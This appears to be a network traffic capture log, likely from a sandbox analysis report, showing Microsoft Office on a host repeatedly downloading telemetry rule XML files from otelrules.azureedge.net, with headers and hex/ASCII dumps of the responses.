2024-11-14 16:24:41 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5a89c8d5-001e-0034-5160-35dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162441Z-r178fb8d765z89v7hC1DFW0kvw00000002h000000000u860 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:41 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: ac09b1e1-b01e-001e-11a6-340214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162441Z-r178fb8d7656shmjhC1DFWu5kw00000002q000000000ugq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:41 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:41 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 18d5585a-801e-0015-2dfc-35f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162441Z-16547b76f7f4k79zhC1DFWu9y00000000kzg000000006zvt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:41 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:41 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: a29cb781-e01e-003c-78a5-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162441Z-1749fc9bdbd4dqj6hC1DFWr4n400000002x00000000027n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:41 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 320898d6-601e-0032-1378-36eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162441Z-r178fb8d765z9wvrhC1DFW1a0s00000000w000000000hcs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:41 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:42 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: a393fc50-d01e-0014-411d-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162442Z-r178fb8d765tllwdhC1DFWaz8400000002w000000000dn2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:42 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:42 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 27f8662d-901e-0029-0878-35274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162442Z-r178fb8d765z89v7hC1DFW0kvw00000002kg00000000pkkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:42 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:42 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:42 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 9063af41-401e-0064-7ed2-2c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162442Z-16547b76f7f4k79zhC1DFWu9y00000000kvg00000000rdqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:42 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9e1c771-001e-002b-2a75-3599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162442Z-1749fc9bdbdht5mthC1DFWph9000000002yg000000001rcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:42 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:42 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 86712c9d-c01e-007a-5916-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162442Z-16547b76f7fvllnfhC1DFWxkg80000000ky000000000czsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:42 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:43 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:43 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:43 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: a6ca8360-701e-000d-0101-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162443Z-1749fc9bdbd6szhxhC1DFW199s00000002wg000000002m97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:43 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:43 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:43 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:43 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 295439a2-001e-0065-3ad2-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162443Z-16547b76f7ftdm8dhC1DFWs13g0000000krg00000000w3tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
